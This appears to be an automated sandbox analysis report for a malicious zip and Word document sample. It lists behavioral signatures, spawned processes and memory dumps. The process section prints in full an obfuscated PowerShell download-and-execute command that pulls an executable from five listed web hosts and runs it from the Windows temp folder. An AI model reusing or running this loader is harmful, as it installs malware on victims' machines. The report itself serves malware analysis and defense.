Overview

overview

10

task1

 

10

task2

 

10

task3

 

10

task4

 

10

task5

 

8

task6

 

8

task7

 

10

task8

 

10

task9

 

10

task10

 

10

Analysis

  • max time kernel
    110s
  • max time network
    120s
  • resource
    win7v191014

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Supergevaarlijkk.zip

  • Sample

    191029-p1j1431a9n

  • SHA256

    6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac

Score
N/A

Malware Config

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Drops file in system dir 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Modifies registry class 1 TTPs 64 IoCs
    persistence
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Drops Office document
    • Suspicious use of WriteProcessMemory
    • Drops file in system dir
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1456
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
    1⤵
    • Drops file in system dir
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1108
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "1003057684324364423430350252008227691971696020-12325563152092719173-1366370866"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1124
  • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    1⤵
    • Uses Task Scheduler COM API
    PID:2000

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1456-0-0x0000000006240000-0x0000000006244000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1456-1-0x0000000005C10000-0x0000000005D10000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/1456-3-0x00000000088E0000-0x00000000088E4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1456-4-0x0000000006E00000-0x0000000007000000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1456-5-0x0000000006E00000-0x0000000007000000-memory.dmp

    Filesize

    2.0MB

    Download